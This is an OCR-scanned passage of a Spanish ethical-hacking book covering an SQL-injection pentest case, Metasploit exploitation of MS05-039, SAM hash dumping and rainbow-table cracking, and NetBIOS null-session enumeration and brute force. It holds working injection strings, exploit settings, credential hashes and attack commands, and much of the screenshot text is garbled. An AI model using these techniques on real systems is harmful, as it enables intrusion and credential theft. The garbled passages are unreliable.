Existe un escaner de vulnerabilidades en aplicaciones llamado Chorizo. Su sitio es
www.chorizo-scanner.com Este buscara: Cross Site Scripting (XSS), Cross Site Request
Forging (CSRF), Code Inclusion, Remote Code Execution, vulnerabilidades PHP, Session
injection y mas.
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&HOA03756D6E615672737138798A6164AEAF7AC8BB3690D5674F3EE-
4B9306A.

Habian utilizado una técnica llamada corrimiento de bits y solo sus desarrollado-
res conocian el algoritmo (como un simple curioso interesado en la seguridad del
producto, intenté que me explicaran a través del e-mail de contacto en el sitio). No
era un simple hash md5. Habia que dar un paso atras. Tenfa agotadas las posibili-
dades hasta ahi de hacer algo via SQL Injection ya que la aplicacién no me devol-
via todos los errores que intentaba generar para sacar datos.

No podia dar de alta un usuario administrador ni uno comun, ya que si lo hacfa, no
tenfa idea de como cifrar del mismo modo un password. La aplicacion no me toma-
ba como acceso valido un user/pass en texto plano porque ésta, al tomarlo del regis-
tro, reconvertia el password. En cambio, si podia modificar el valor del hash. Sélo
restaba saber el valor equivalente a un password en texto plano, y eso podia ser un
poco mas simple que aplicar l6gica de criptoanalista, osea, rompiendo el cifrado. Era
una aplicacion utilizada por ejecutivos quienes, en su mayotia, no son lo suficiente-
mente conscientes de la seguridad de la informaciéon como para tener un buen pass-
word. Por otro lado, muy rara vez se le asigna a un ejecutivo un password real-
mente fuerte.

Descubrir uno a mano es una de las técnicas mas tediosas de la seguridad informa-

tica, aunque, tenfa dos cosas a favor:

1. Sabia el nombre completo del usuario (no se podian sacar los userlD de la da-
tabase, sin su nombre completo).

2. La aplicacion, en los intentos de logueo fallido, daba los avisos de usuario ine-
xistente y password erréneo.

Tomé el nombre completo de un usuario (Lopez, Mario) extraido de la columna
FULL_NAME con el siguiente String insertado en el campo vulnerable Nombre:
union select FULL_NAME,1,1,1 from APP_USUARIO WHERE FULL_NA-
ME > ‘m’ --. Comencé a probar en los campos user y pass de la aplicacion:

Probar distintas formas

Cuando estamos inyectando, probemos pulsar el boton OK en caso de un formulario y
luego inyectar lo mismo, pero presionando Enter. De esa manera, muchas veces se
evita la necesidad de intentar un método de evasion ante alguna regla para campo de
datos escrita en JavaScript.
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mario.lopez+pass Cartel: usuario inexistente.
mlopez+pass Cartel: usuario inexistente.
ml+pass Cartel: usuario inexistente.
mario+pass Cartel: usuario inexistente.
mario lopez+pass Cartel: password erroneo.

Excelente. El usuario Lopez, Mario, se loguea como mario lopez. Probé los pass-
words mas comunes y no tuve que esperar mucho para dar con el correcto. Tuve
la suerte de que el password era el nombre de pila, simplemente mario (la sorpresa
fue ain mayor cuando comprobé que el 70% de los usuarios tenfan por password
su nombre de pila).

Cuando supe el significado de mario, extraje el hash de Mario Lopez:

¢ union select PWD,1,1,1 from APP_USUARIO WHERE FULL_NAME =
‘Lopez, Matio’ --

&HOAO03756D6E615672737138798A6164AEAF7AC8BB3690D5674F3EE-
4B9306A

Si este hash en realidad era el password “mario” cifrado, entonces la solucién pa-
ra lograr acceso administrativo (ya tenfamos un acceso comun de usuario por Ma-
rio Lépez), era asignarle este hash al usuario Juan Pérez que es el administrador y
asi poder entrar con usuario administrador y password mario, al panel desde el ac-
ceso. Y con el siguiente coédigo pude llevar a cabo la tarea:

‘ UPDATE APP USUARIO SET PWD = ‘&HOA03756D6E615672737138798A6164AEA
F7AC8BB3690D5674F3EE4BS306A" WHERE FULL NAME = ‘Juan, Perez’ --

Fui al login de acceso, coloqué juan perez como usuario, mario como password
y accedi al panel de administrador con todos los items funcionales del sistema, da-

Soluciones a SQL Injection

Si queremos encontrar soluciones para mitigar el SQL Injection, podemos visitar: http://in-
formatica-practica.net/solocodigo/index.php/2007/09/06/evitar-inyeccion-sql-ii,  http-
://pear.php.net/package/DB, http://msdn.microsoft.com/msdnmag/issues/06/11/sqlsecu-
rity/default.aspx?loc=es y www.dotnetpuebla.com/portal/Publicaciones/Articulos/848.aspx.
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do mi privilegio.

Hice el reporte con algunas pantallas capturadas e informacion, lo entregué al
representante de la consultora que me contrat6 y todos felices.

Hoy, la aplicacion se encuentra bajo las medidas de seguridad correspondientes y
los desarrolladores tienen los detalles técnicos del caso.
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7 > Servidores
Windows

Revisidén de la técnica de intrusidén simple en
un servidor Windows mostrando, entre otras
cosas, un sencillo ejemplo sobre cdémo obtener
de manera remota un prompt DOS a través de una
plataforma de exploits. Conoceremos algunas
herramientas especiales, su configuracidén y modo
de empleo y, también, veremos diferentes clases
de backdoors indetectables, binarios y de kernel
disparados como servicios o como partes de una

simple pagina web.



Introduccion

Microsoft posee una extensa lista de sistemas operativos. Esta atn en produccion
la familia 2000 en todas sus variedades, la 2003 y la mas reciente 2008. A éstos, se
les suman XP y Vista como terminales en general; y no olvidemos los obsoletos
98/ME que perduran en funcionamiento en muchas organizaciones e instituciones
del continente y del mundo. No malgastaremos las paginas de este capitulo desen-
trafiando la arquitectura de cada uno de estos sistemas operativos, sino que hare-
mos foco en los aspectos mas interesantes, técnicas y herramientas relacionadas
que hoy en dia son utilizados en el hacking ético. Microsoft Windows es, en la ac-
tualidad, el sistema operativo mas utilizado por las organizaciones y, de su masivi-
dad, surge el interés o la casualidad de que sea victima del embate de los atacantes.
Recordemos que lo desarrollado a continuacion pertenece a una de las dltimas etapas en
un chequeo ético: la del ataque o penetracién. Un intruso, luego de haber investigado en
internet, enumerado, analizado resultados y escaneado de modo agresivo (etapas anterio-
res al embate final o penetracion) logrd, dentro de nuestro servidor Windows, conseguir
un prompt MS-DOS para ejecutar comandos y dumpear el contenido del SAM.

Microsoft Windows 2000 [ Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\ system32>

Generalmente, asf se ve cuando se obtiene un prompt o linea de comandos MS-
DOS debido a la ejecucion del archivo cmd.exe. Es posible que el intruso pueda
conseguirlo facilmente si el servidor se encontrara descuidado, pero ¢por qué va a
querer saber el contenido del archivo SAM (Systerz Account Manager) si es muy pro-
bable que ya tenga privilegios System o de Administrador alli dentro?

Las intenciones del intruso pueden ser diversas, pero el contenido, tanto del archi-
vo SAM como del Shadow de un servidor Linux, genera en el atacante el mismo

Windows en profundidad

Les recomiendo leer el libro Hacking Exposed Windows 3ra edicion de McGraw Hill (di-
ciembre 2007), con aspectos técnicos mas detallados acerca de su seguridad y tecnicas
avanzadas para el chequeo de sus vulnerabilidades.
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deseo de obtenetlo, ya que ambos poseen las cuentas de sistema. En principio, una
de las utilidades es para descifrar los passwords de los usuarios, ya sea para luego
leer sus e-mails o para probar ese mismo password en otro servidor de la red inter-
na o terminal de la empresa, por si se repite el login y se consigue otro ingreso en
los recursos del escenario mediante SMB o Terminal Services.

Al tener a mano las credenciales de autentificacion de los usuarios reales, las po-
sibilidades son muchas. También se puede querer ejecutar alguna aplicacion bajo
determinado usuario o conocer la entropia de sus passwords (si es asignado por
politica o si son palabras comunes, fuertes o débiles) o simplemente saberlo pa-
ra utilizarlo en un futuro, en alguna ocasion de retorno o de necesidad (para pro-
cesamiento o puente de ataque hacia otros objetivos)

Comprometer un servidor

(con pocos clicks)

Un ejemplo de lo facil que puede llegar a ser conseguir un prompt de modo remoto
(el comun de la gente lo conoce como: meterse en la maquina ajena) es el de aprove-
char una vulnerabilidad que esté presente en un objetivo que no tiene una adminis-
tracion adecuada, desde una gran utilidad como Metasploit Framework. Veamos un
clato y simple caso. En www.microsoft.com/technet/security/Bulletin/MS05-
039.mspx, podemos encontrar el boletin (security advisory) acerca de esta falla.

System Window Help

Cancelar | [Buscar| J0BS
~

JobID ¢ Module

|;| Jobs

= B smb
@ ms03_049_netapi Microsoft ion Service ddalternatec Overflow
@ ms04_007_killbill Microsoft ASN. 1 Library Bitstring Heap Overflow
@ ms04_011_lsass Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow
@ ms04_031_netdde Microsoft|

Microsoft Plug and Play Service Overflow.
@ ms0S_039_pnp
@ ms06_025_rasmans_req
G ms06_025 rras

@ ms06_040_netapi Microsoft|
. 5 Review your configuration before clicking the apply button
@ ms06_066_nwapi Microsoft|
@ ms06_066_nwwks Microsoft|
@ msdns_zonename Microsoft] SMBPIPE : browser
5 SSL : false
G psexec Microsoft] EnableContextEncoding : false
= ContextInformationfFile :
Module Information | Module Output B PAYLOAD : generic/shell_bind_tcp
Confirm settings SMB::pipe_evasion : false
Module: exploit/windows/smbjms05_039_pnp DCERPC:fake_bind_multi : true
. 5 SMBDirect : true
This module exploits a stack overflow in the Windo: LPORT : 4444
a valid user account. Since the PnP service runs insi EncoderDontFallThrough : false
automatically reboot. This exploit module was writtef RPORT : 445
RHOST : 80
References: TARGET : 0
ittp: /fwww.osvdb.orgf18605
http:/jcve.mitre.orgfcqi-binjcvename. cqizname;
http:/fwww.securityfocus.com/bid/14513
ttp: {fwww. microsoft.comjtechnet{security/bull
ttp:/fwww.hsc friressources/preser [ Cancelar ] [ Atrés ] [ Aplicar
bty {leniluliren lnit 187

Inicio. En Metasploit 3.1, el profesional ético selecciona el exploit
de la falla Microsoft Plug and Play Buffer Overflow para ejecutarla
y asi ingresar en el sistema vulnerable remoto mediante una shell reversa.
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Metasploit ofrece una facilidad extrema de intrusién si se dan ciertas condicio-
nes en el objetivo y, gracias a su interfaz grafica, cualquiera que cuente con los
minimos conocimientos puede lograr una sesiéon remota. Légicamente, no sélo
los profesionales éticos utilizan esta plataforma de trabajo ya que, al ser gratui-
ta, cae en manos de muchos jovenes con tiempo de sobra, delincuentes y curio-
sos de todo el mundo.

@ ms04_007_killbill Microsoft ASN. 1 Library Bitstring Heap Overflow Q Jobs
@ ms04_011_lsass Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow

‘@ ms04_031_netdde Microsoft NetDDE Service Overflow
& ms05_039_pnp Gea S 2
@ ms06_025_rasmans_t
@ ms06_025_rras

12/07/2004 04:29p 2,575 odbcconf.log A
‘@ ms06_040_netapi 08/22/2005 12:15p 0 omsaPrivs. txt
10/10/2005 02:43p 90,112 PatchAgent.exe
G ms06_066_nwvapi 12/29/2007 10:44p 1,011 PatchAgent.log
@ ms06_066_nwwks 02/03/2004 01:52p 40,960 PatchAgentRes409.dll
R 11/17/2005 04:06p <DIR>  Perflogs
G msdns_zonename 12/11/2007 01:57p  <DIR> Program Files
@ psexec 02/21/2003 02:40a 44,712 qchain.exe
10/19/1999 06:25p 32,256 reboot.exe
G smb_relay 09/29/2004 05:25p 1,624 summary.htm
. 03/22/2005 08:24p 294 team-original
® B smp 02/16/2008 07:24a <DIR>  temp
o 02/18/2008 05:56p 0type
01/17/2008 06:54p <DIR>  WINNT sions
Hodite ‘"ﬁ’"la“" | Modue Output | 18Fles) 527,763 bytes Er—
7 06_025_rasmans_reg [°] 13Dir(s) 11,956,322,304 bytes free { | Target Typd

06_025_rasmans_reg [*]
17:02:52 - ms06_025_rasmans_reg [*] .
17:02:52 - ms06_025_rasmans_reg [*] C:\>type c.txt

5 type c.txt
17‘02 52 - ms06, ogs rasmans_reg [ pentest interno

1 80:4446 shell

W_
>
- openview_ omnlba:k exec G\

-ms05_039_pnp [*] Launchir}

-ms05_039_pnp [*] Started

i -ms05_039_pnp [*] Connect]

7: -ms05_039_pnp [*] Binding

17:02:03 - ms05_039_pnp [-] Exploit 4

17:02:00 - ms05_039_pnp [*] Launchir} s

17:02:02 - ms05_039_pnp [*] Started
7:02:0. -msOS 039_pnp [*] Connecting to the SMB service...

i -ms05_039_pnp [*] Binding to 8d9f4e40-a03d-11ce-8f69-08003e30051b: 1.0@ncacn_np: 80[\browser] ...
17: 02 03 -ms05_039_pnp [*] Bound to 8d9f4e40-a03d-11ce-8f69-08003e30051b: 1.0@ncacn_np: 80[\browser] ...
17:02:03 - ms05_039_pnp [*] Calling the vulnerable function...

17:02:03 - [*] Session 1 created for 80:4446

17:02:03 - ms05_039_pnp [+] Server did not respond, this is expected

Loaded 262 exploits, 117 payloads, 17 encoders, 6 nops, and 46 auxiliary

Prompt1. Luego de la ejecucion del exploit remoto, una consola
interactiva (prompt) se pone a disposicion del atacante, que aqui puede ver
el contenido del archivo c.txt que ha escrito en el directorio raiz (C:\) luego

de haber plantado un archivo como prueba de su paso por el sistema objetivo.

También lo podria haber hecho a mano de modo menos automatizado bajando dos
exploits a una shell Linux (www.securityfocus.com/data/vulnerabilities/exploits/

Hardware de seguridad

Existe hardware cuya finalidad es autentificar accesos. Por ejemplo, la empresa Hy-
net (www.hynet.com.ar) comercializa servicios y productos para organizaciones e
instituciones, ya sean soluciones de Acceso remoto seguro (SSL+VPN] o hardware
orientado a seguridad (Juniper, entre otras marcas).
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Win2000-MS05-039.c y www.securityfocus.com/data/vulnerabilities/exploits/
HOD-ms05039-pnp-expl.c), compilandolos y ejecutandolos contra el objetivo.

@ ms04_031_netdde

& ms05_039_pnp

@ ms06_025_rasmans_regq
@ ms06_025_rras

G ms06_040_netapi

-ms06_025_rasmans_reg [*] Tr
2 - ms06_025_rasmans_reg [*] Bi
-ms06_025_rasmans_reg [-] Ex{
- openview_omniback_exec [*]

- openview_omniback_exec [*]

- openview_omniback_exec [*] 1
ms05_039_pnp [*] Launching §
-ms05_039_pnp [*] Started rev]
-ms05_039_pnp [*] Connecting

Microsoft NetDDE Service Overflow
Microsoft Plug and Play Service Overfiow
Microsoft RRAS Service RASMAN Registry Overflow

80:4446

C:\>hostname
hostname
SQL

Ci\>

G ms06_066_nwapi &
& ms06_066_nwwks C:\>net users
netusers
& msdns_zonename
Y psexec User accounts for \\
@ smb_relay
Administrator Guest IUSR_
IWAM_| SQLDebugger trofeo
TsInternetUser jons
The command completed with one or more errors. Target Typd
ms06_025_rasmans_reg [*] SH 80:4446 shell

ms05_039_pnp [*] Binding to §
17:02:03 - ms05_039_pnp [-] Exploit faile
17:02:00 - ms05_039_pnp [*] Launching §
17:02:02 - ms05_039_pnp [*] Started bin
17:02:02 - ms05_039_pnp [*] Connecting
17:02:03 - ms05_039_pnp [*] Binding to §

Prompt2. En esta figura, luego de haber dado de alta un usuario y ponerlo en el grupo
de administradores, se comprueba que éste figura en la lista de usuarios
mediante el comando net users y luego se corrobora el nombre de la maquina.

Una vez dentro, el atacante puede llevar a cabo todo lo que el administrador po-
dria hacer y mas aun, depende de su habilidad y conocimiento técnico.

& http:// 80/scripts/hash.txt - Windows Internet Explorer

) http://

% & (=g :‘ @ httpyj)

Archivo Edicion Ver Favoritos Herramientas Ayuda

80/scripts/hash. txt

. |>@TenableNesu... .[@ComandosNET W

Using pipe {D2ESB2F8-107B-4D21-8F22-B7949E521BE8}

Key length is 16
Administrateor:500:F1E45CB440CEF2227BER78C49E521A6E:9E521EA732617788B30105C053B71F32:::
Guesc:sgl:No pASsyzoRD&&ﬁ&&&&ﬁ&&&&ﬁﬁ&&ﬁﬁﬁ&&:No pAss'ﬂoRDi:&ﬁ&&ﬁ&&i&&&ﬁihﬁ&ﬁi’&&: s

IUSR_ :1001: 4380ARA306989E5218FBFSFFE22DE0E4:A34C00F444226DF552464B97C33A9D23 -
INAM :1002: 7AS783DDBA4AEAL39E521FF051B75F48: 6FEBA4AS09DD7DA2792219296232FB78: ¢
SQLDebuggexr:1006:NO PASSWIORD*#*# ¥ ¥ ¥ ddddddssdbbdivv BOES52188FCO30B2F54412DE054D9F342:::
trofeo:1009:699C8716C4DSEBCFOFAZ0F9E521390C6: BOCBDODABEE78FS8AE9SD386DFESF8AZ: 1 ¢
TsInternetUser:1000:BE2C694C7B9E5215E89BBBLlAASS0ED3C:C76AB6255854D1038D905CES843C299B: 1 :
Completed.

Hash. Aqui el supuesto atacante coloco el resultado del dumpeo (logrado a la vieja manera
con www.foofus.net/fizzgig/fgdump/ o con el comando hashdump de la “extension priv”
desde la consola de Metasploit -meterpreter-) del SAM , es decir, las cuentas de sistema ci-
fradas, en el servidor web IIS para que otro atacante externo —-o él mismo- las copie via
Internet sacandolas de alli. Acto seguido, las borraria de modo seguro.

193



¢Qué hace el atacante una vez que obtiene las cuentas de sistema hasheadas?

Las descifra, la manera mas rapida que nunca gracias al poder de procesamiento de
nuestras PCs y las técnicas disponibles. Antes, en el capitulo que hablamos sobre bru-
te force, conocimos el método que utiliza Rainbow Tables. Aplicaremos ahora esta
técnica criptografica y veremos toda su potencia en una simple demostracion. Como
ptimer paso, descatgamos el cliente uTotrent de http://download.utorrent.co-
m/1.7.7/utorrent.exe y luego bajamos de http://rainbowtables.shmoo.com-
/rainbow_tables-alpha_num_ sym32_space.torrent, las Rainbow Tables indi-
cadas para el caso.

Tenemos que ser pacientes con la descarga de las Rainbow Tables ya que, como
ocupan mas de 30 GB, tardaran aproximadamente una semana si disponemos de
un mega por segundo de bajada y no apagamos la PC. El archivo descargado esta
comprimido en formato 1zma, que debemos descomprimir con la utilidad que en-
contramos en http://rainbowtables.shmoo.com/lzma.exe.

ccion | C:\Downloads\alpha_num_sym32_space

Tamafio  Tipo
Tareas de archivo y carpeta A | meric-symbol32-spaced 1-7_4_15200x67108864_1.rt 1.048.576 KB  Archivo RT
jumeric-symbol32-space#1-7_4_15200x67108864_2.rt 1.048.576 KB  Archivo RT
umeric-symbol32-space#1-7_4_15200x67108864_3.rt 1.048.576 KB Archivo RT
jumeric-symbol32-space#1-7_4_15200x67108864_4.rt 1.048.576 KB  Archivo RT
wumeric-symbol32-space#1-7 4 15200x67108864 S.rt 1.048.576 KB Archivo RT

®jj Cambiar nombre

‘ :l Archivo RT
Archivo RT
IC:\Downloads\alpha_nun_syn32_space>lzma d lm_alpha—numeric—symhol32-spacelt1—7_7 Archivo RT
15200x67108864_0.rt.1lzma lm_alpha-numeric-symbol32-space#fl-7_7_15200x67108864_0. Archivo RT
B Archivo RT
LZMA 4.43 Copyright (c)> 1999-2006 Igor Pavlov 20086-06-04 Archivo RT
IC:\Dounloads\alpha_nun_sym32_space>lzma d lm_alpha-numeric—synbhol32-spaceitl-7_? ArchivoRT
15200x67108864_1 .rt.1lzma lm_alpha-numeric-symbol32-space#f1-7_7_15200x67108864_1. Archivo RT
pt Archivo RT
LZMA 4.43 Copyright (c) 1999-208086 Igor Pavlov 2006-86-04 Archivo RT
Archivo RT
[C:\Downloads\alpha_num_sym32_space>lzma d 1lm_alpha-numeric—-symhol32-spacef1-7_7 Archivo RT
15200x67108864_2 .rt.1lzma lm_alpha-numeric-symbol32-space#fl-7_7_15200x67108864_2.
It Archivo RT
LZMA 4.43 Copyright (c)> 1999-2086 Igor Pavlov 20886-86-84 frchivo RT
opyrigh c gor Favlov Archivo RT
[C:\Downloads\alpha_num_sym32_space>lzma d lm_alpha-numeric—-symhol32-spaceif1l-7_7 Archivo RT
15200x67108864_3 .rt.lzma lm_alpha-numeric—-symbol32-space#fl-7_7_15200x67108864_3. archivo RT
13
Archivo RT
LZMA 4.43 Copyright (c)> 1999-2006 Igor Pavlov 2086-06-084 Archivo LZMA
- m— — Archivo LZMA
_wboﬁz-wme#l-? 7_15200x67108864_1.rt 564.725 KB _Archivo LZMA

Preparativos. Una vez bajadas las Rainbow Tables, hay que descomprimirlas
una a una para poder utilizarlas. Esta ardua tarea nos llevara unas cinco horas, pero
nos ahorrara mucho tiempo al tratar de descubrir los passwords cifrados del archivo SAM.

Para descomptimir el primer archivo el comando es: C:\>lzma d Im_alpha-numeric-
symbol32-space#1-7_0_15200x67108864_0.rt.Jzma lm_alpha-numeric-symbol32-
space#1-7_0_15200x67108864_0.rt

Las tablas descomprimidas pasaran a tener 64 gigabytes, por lo que debemos corroborar
si contamos con ese espacio en el disco.

Luego bajaremos RainbowCrack de www.antsight.com/zsl/rainbowcrack/
rainbowcrack-1.2-win.zip, lo descomprimiremos en C: y, una vez que lo hicimos,
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vamos a configurar el archivo charset.txt que se encuentra dentro del directorio
C:\rainbowcrack-1.2-win. Abrimos ese atchivo y le agregamos, al final de la lista
de charsets que contiene, la linea: alpha-numeric-symbol32-space = [ABC-
DEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$% " & *()-
_+=~"[1{} | \:7<>,.2/ ]. Si no la agregamos, RainbowCrack nos dari un etror.
Su utilizacion es facil. Colocamos en ese mismo directorio (C:\rainbowcrack-1.2-
win), un archivo llamado hash.txt que contiene los hashes del sistema extraidos del
objetivo comprometido. Luego, ejecutamos la consola de comandos (prompt) y nos
ubicamos en ese directorio, mientras que las tablas o archivos .rt deben estar en:
C:\Downloads\alpha_num_sym32_space. Al finalizar todo ello, ejecutamos:
rcrack C:\Downloads\alpha_num_sym32_space\*.rt -f hash.txt.

<+ Simbolo del sistema N - B 18 ,ﬂE‘i‘

1m_alpha—-numeric—symbhol32-space#f1—7_2_15208x671088864_7.rt:
8116510872 bhytes read, disk access time: 12.808 s

verifying the file.

searching for 1 hash...

cryptanalysis time: 4.208 s

2620908752 bytes read,. disk access time: 3.92 s

isearching for 1 hash...

cryptanalysis time: 1.55 s

Im_alpha-numeric—symbol32-space#t1-7_3_15208x67108864_8B.rt:
811651072 hytes read, disk access time: 12.94 s

verifying the file...

lsearching for 1 hash...

plaintext of 7a5?83dd8a4aea13 is AESQTGM

cryptanalysis time: 49.41

Istatistics

plaintext found: 18 of 10 <(106.00x)>
disk access time: 478.18 s
cryptanalysis time: 2108.28 s
chain walk step: 16240859107
false alarm: 71564
chain walk step due to false alarm: 36874

nBnTATHO hex:6d386e3154

iCoxjFnRgp$0C hex:69436£786a466e586770

aEsqtGmuey{1D hex:6145737174476d756579

esteesuntrofeo hex:657374656573756e7472
TsInternetUser mnECLSrRyaBhbn hex:6d454031537252796142

C:\rainbowcrack—1.2-win>
IC:\rainbowcrack-1.2-win>

Resultado. Luego de una espera de tan sélo minutos,
el programa RainbowCrack, con la ayuda de los 64 Gigabytes
de Rainbow Tables, descifrd la totalidad de las cuentas de sistema del objetivo.

Top 20

En el sitio www.sans.org/top20/, podemos encontrar un ranking sobre los 20 riesgos
de seguridad mas importantes. Entre ellos, se abarca tanto el lado del cliente como el
del servidor, las politicas de seguridad y el personal, los dispositivos, redes, aplicacio-
nesy los problemas desconocidos o nuevos (0day].
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Null Sessions sobre Netbios

A continuacion, veamos las formas clasicas de comprometer un servidor Windows:

* SQL Injection en su motor de base de datos o en una aplicacién de terceros en
el servidor.

* Comprometer su contexto y, de ese modo, poder esnifear passwords o creden-
ciales que estan en transito hacia fuera o hacia dentro del escenario.

* Explotacion de vulnerabilidad en alguna aplicacion cliente con interaccion humana.

* Mediante exploits remotos (0 a mano) al sistema en alguno de sus servicios o en
las aplicaciones de terceros instaladas en él.

¢ Redirigiendo el trafico hacia nosotros en una red interna y capturando informa-
cion sensible o passwords. Ataque del tipo mitm (wan in the middle).

Pero existe otra forma. Conseguir usuarios validos en el sistema para utilizarlos lue-
go en los servicios de autentificacion (propios o de terceros) mediante la informa-
cion que se puede extraer a través de Null Sessions. Con Netbios (Neswork Basic Lnput-
Output System) presente, hay una gran posibilidad de conseguir informacion de estos usua-
rios. Netbios es una interfaz para procesos de red desarrollada en principio por IBM, y su
utilizacién mas comun se da en la implementacién de recursos compartidos en red o bien
para que las aplicaciones interactien entre si a través de una red. ;Qué importancia tiene
esto? Demasiada, ya que a través de Netbios podtiamos:

* Extraer el SID (Security Identifier), un identificador alfanumérico que identifica un
objeto (caracteristica de seguridad de los OS Windows a partir de NT) en una red.
El objeto puede ser un usuario o un grupo de ellos.

* La lista de usuarios locales de sistema.

* La lista de usuarios del dominio.

* Privilegios.

« Ultima fecha en la que se logueé un usuario (dato muy interesante para la inge-
nierfa social).

* Los hosts (maquinas) que conforman la red.

* Nombre del host.

* Sistema operativo y version.

* Recursos compartidos, de datos y de administracion.

* Politicas de passwords en detalle, como expiraciéon de cuentas, passwords cam-
biados, usuarios logueados, usuarios que nunca se loguearon.
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Todos estos datos pueden obtenerse juntos y en un prolijo reporte a través de un
escaneo de Tenable Nessus 3 o GFI LANguard, como también a mano, con las uti-
lidades que veremos a continuacion.

£ GFI LANguardN.S.S. 8.0

File Tools Configure Help

NewScan... | [ [ &= 3 |Using: aNULL Session v U dministrad P : | - QB
Tools Explor 1
I S 2 I Scan Target: |200. 233 + | Profile: | Full Scan v Scan
[@A™ain | & configuration % Tools
E GFI LANguard N.S.S. L Scanned Computers Il Scan Results
=) E Security Scanner =] E Scan target: 200. 233 |:] # 4a Administrador ()
® {23 Results Filtering ] 3‘ 200.  .233[ . O - da ASPNET (ASP.NET Machine Account)
- (% Results Comparison : Vulnen?hllltles (6) ¢: an abaves.( abares).
=) 64 Patch Deployment ! Potential Vulnerabilities {12) # 4aa etoletti( etoletti)
I Deploy Microsoft Updates = System information ® 4aFo (Fo )
17 Deploy Custom Software (= Shares(12) # 4a alejo( alejo)
=) Reporting & Password policy # 4a aco( aco)
%@ GFIReportCenter 2} Open TCP Ports (17) | @ ga Invitado ()
%) GFILANguard N.5.5. 8.0 ReportPack 4 NETBIOS names (9) @ 4l TUSR_ (Cuenta de invitado a Internet)
4 Computer F an IWAM_ (Iniciar la cuenta de proceso 115)
S ) SNMP t an allaglio ( allaglio)
4 Groups (10) | @ 4a mati (mati)
o Users (18) # aa hurchi(  hurchi)

(&7 Remote TOD (time of day) aa emal era)

I e NetShowServices (Servicios de Windows Media utiliz:
# 4a elpino{ elpino)

t 4m oOmez( omez)

+ aa TsInternetUser (TsInternetUser)

I3 >

Scanner Activity Window

Resolving hosts
Determining computers that are alive.

Netbios reply from 200. 233( 01)
SNMP response from 200. 233
Requesting more info

Pong from 200. 233

Languard. Pantalla del software GFI LANguard mostrandonos
como resultado la informacion obtenida a través de Netbios:
los usuarios, los nombres Netbios, los recursos compartidos, politicas
de passwords y un listado de vulnerabilidades extra, entre otras cosas.

userdump.exe: extrae uno a uno los usuatios y sus datos. Si ejecutamos “C:\>uset-
dump \\200.XX.XX.233 Administrador 500, lograremos mucho mas que los deta-
lles de la cuenta de administrador: la lista completa.

C:\>userdump \\200.XX.XX.233 Administrador
UserDump v1.11 - thorC@hammerofgod.com

Querying Controller \\200.XX.XX.233
USER INFO

Username: Administrador

Full Name:

Comment : Cuenta para la administracion del equipo o dominio
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userinfo.exe: Extrae los datos del usuario brindado.




user2sid.exe: Extrae el SID de determinado usuatio.

Netbios en Windows




S-1-5-21-1177238915-839522115-854245398-500
Number of subauthorities is 5

Domain is

Length of SID in memory is 28
bytes

Type of SID is SidTypeUser

method:
" word list

@ biute force

name of resource:

Brute. Aplicando brute force con el 00, .228.233\Backup
programa NetBrute a un recurso com- moppedidive.
partido con un usuario conocido a tra-
your usernary
vés de Netbios. En este ejemplo -para [mai | \1) the password to 11200 .228.2331Backup = mati
corroborar el funcionamiento del pro- Ils-lo: charad l;irgn;tsr?eesnfmeinutesand 19 seconds.
aiml 5 o
. that L1t d.
grama- tras 197 intentos se pudo dar S SR opRron Gs Rer se2on
con el password, igual al nombre (sabi-
starting poinl

do de antemano). Este es sélo un ejem-
plo con herramientas win32, pero también se puede utilizar Hydra.

sid2user.exe: Convierte el SID en determinado usuatrio.

C:\>sid2user \\200.xx.XX.233 5 21 1177238915 839522115 854245398 500
Name is Administrador

Domain is

Type of SID is SidTypeUser

C:\>sid2user \\200.xx.XX.233 5 21 1177238915 839522115 854245398 501

Name is Invitado
Domain is Type of SID is SidTypeUser

C:\>sid2user \\200.xx.XX.233 5 21 1177238915 839522115 854245398 1000
Name is TsInternetUser

Domain is

Type of SID is SidTypeUser
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La ultima porcién de nimeros del string corresponde al usuario, en donde 500
siempre sera la cuenta Administrador o Administrator por defecto.

enum.exe: realiza varias acciones sobre el objetivo, especialmente extraer informa-
cion.




cleaning up... success.

Otras

herramientas de linea de comando (prompt DOS) recomendables son:

usrstat.exe, showgrps.exe, ademas de las graficas R3x y netbrute.exe. De ese mo-
do, nos familiarizamos con este servicio y su muy util informacién. Todas estas

herramientas las podremos descargar de www.hackingetico.com/SMBtools.zip.

Sean fiom: [200, 23 v] 1.5 &I

o:[00 23 B0 -] delay (ms)

+

=S 200 233 ] (Windows 2000)

NETBIOS names (9)

@) Usemanme :

@) MAC: 00-

'\i) LAN Manager : Windows 2000 LAN Manager

@) Domain :
5 Computer usage : NT/2k Workstation
5 Shares (12)

@&

(3 IPC$ - IPC remota

(1 D$ - Recurso predeterminado
a

(3 PUBLICO

(3 USUARIOS

@&

(1 VIDEDS
() ADMINS - Admin remota
(3 C$ - Recurso predeterminado
(1 5% - Recurso predeterminado
(] Grupos
Q Users (18)
+ Administrador
+ ASPNET (ASP.NET Machine Account )
¥ abares abares )
¥ etoletti [ etoletti)
o cus( cus)
Q allejo [ allejo)
¥ aco( aco)

R3X. Pantalla de la aplicacion gratuita R3x
listando shares (recursos compartidos via netbios) y nombres de usuarios.

Comandos NET

Para usar estos comandos, es importante que deshabilitemos momentaneamente el
firewall que tengamos para que éste no filtre los intentos de conexién del protoco-

lo cuando es hacia objetivos remotos.

Comando nmblookup de Linux

Basicamente, el comando nmblookup permite hacer consultas acerca de los nombres Net-

Bios en una subred. Sin opciones, el comando traduce un nombre NetBios a direccion IP. Su
sintaxis es: nmblookup [opciones] (| nombre_netbios/\. Podemos encontrar mas detalles
en www.ispcmw.rimed.cu/sitios/digbiblio/cont/EI/SO_Linux/Avanzado-html/node22.html.
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* Establecer una conexién nula (nul/ session) y ver los recursos compartidos de un
objetivo remoto:
C:\Documents and Settings\user>net view \\200.XX.XX.233
Error de sistema 5.
Acceso denegado.

Esto sucede porque primero hay que establecer la sesion nula de la siguiente mane-
ra: C:\Documents and Settings\user>net use \\200.XXXX.233\ipc$
Juser:””

Se ha completado el comando correctamente.

Cuando la conexién nula se ha establecido, ejecutamos nuevamente el comando:

e Para ver las conexiones existentes:

e Para eliminar una conexion existente:
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C:\>net use /delete \\200.XX.XX.233\IPC$
\\200.XX.XX.233\IPC$ ha sido eliminado.

* Para mapear una unidad compartida en el servidor objetivo como nuestra uni-
dad H. Fsta es una buena forma de poner a mano informacién. Por ejemplo, si
